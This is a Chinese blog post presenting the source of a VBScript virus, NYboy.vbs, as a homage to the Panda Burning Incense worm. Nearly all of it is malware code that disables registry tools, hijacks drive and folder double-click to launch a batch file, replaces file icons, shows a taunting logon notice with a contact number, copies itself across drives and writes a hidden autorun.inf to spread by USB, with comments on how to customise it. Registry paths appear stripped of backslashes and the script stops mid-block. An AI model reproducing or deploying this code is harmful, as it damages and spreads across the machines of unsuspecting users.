NYboy.vbs病毒源代码公布,我来模拟熊猫烧香

2019-01-16 10:29:53刘景俊

wsh.Regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoRecentDocsHistory",1,"REG_DWORD"
wsh.Regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableRegistryTools","1","REG_DWORD"
wsh.Regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldAppDisabled",1,"REG_DWORD"
'使用户不能通过双击打开硬盘,这里还可以修改为使其不能通过双击打开文件夹,同理,不赘续
wsh.Regwrite "HKLMSOFTWAREClassesDriveshellautocommand","C:NYboy.bat '%1'" 
wsh.Regwrite "HKCRDriveshell","auto"
wsh.Regwrite "HKCRDriveshellautocommand","C:NYboy.bat '%1'"
wsh.Regwrite "HKLMSOFTWAREClassesDirectoryshell","auto"
wsh.Regwrite "HKCRDirectoryshellautocommand","C:NYboy.bat '%1'"
wsh.Regwrite "HKLMSOFTWAREClassesDirectoryshellautocommand","C:NYboy.bat '%1'"
'修改默认文件图标 这里可以换成可爱的熊猫哦
wsh.Regwrite "HKCRexefileDefaultIcon","c:1.ico" 
wsh.Regwrite "HKCRtxtfileDefaultIcon","c:1.ico" 
wsh.Regwrite "HKCRdllfileDefaultIcon","c:1.ico" 
wsh.Regwrite "HKCRbatfileDefaultIcon","c:1.ico" 
wsh.Regwrite "HKCRinifileDefaultIcon","c:1.ico" 
wsh.Regwrite "HKLMSOFTWAREClassesexefileDefaultIcon","c:1.ico" 
wsh.Regwrite "HKLMSOFTWAREClassestxtfileDefaultIcon","c:1.ico" 
wsh.Regwrite "HKLMSOFTWAREClassesdllfileDefaultIcon","c:1.ico" 
wsh.Regwrite "HKLMSOFTWAREClassesbatfileDefaultIcon","c:1.ico" 
wsh.Regwrite "HKLMSOFTWAREClassesinifileDefaultIcon","c:1.ico" 
wsh.Regwrite "HKLMSoftwareCLASSES.reg","txtfile"
wsh.Regwrite "HKLMSoftwareMicrosoftWindowsCurrentVersionWinlogonLegalNoticeCaption","你好啊,大兵和你开个小小的玩笑"
wsh.Regwrite "HKLMSoftwareMicrosoftWindowsCurrentVersionWinlogonLegalNoticeText","你已经中毒了,赶快杀毒或者与QQ252287438联系"
'复制自身到C,D,E,F,U盘
myfile.copy "c:" 
myfile.copy "D:" 
myfile.copy "E:"
myfile.copy "F:" 
myfile.copy "I:" 
myfile.attributes=34 
'定义Autorun.inf 的内容 这个就是u盘病毒必须的代码部分 这里可以简单写
If fso.FileExists("C:autorun.inf") Then 
Set objFolder = fso.GetFile("C:autorun.inf") 
Else 
wsh.run "cmd /c echo [AutoRun]>>C:autorun.inf"_  
&"&& echo open=NYboy.bat >>C:autorun.inf"_  
&"&& echo shellexecute=NYboy.bat >>C:autorun.inf"_  
&"&& echo shellAutocommand=NYboy.bat>>C:autorun.inf"_  
&"&& echo shell=Auto>>C:autorun.inf"_ 
&"&& attrib +h +s +r C:autorun.inf"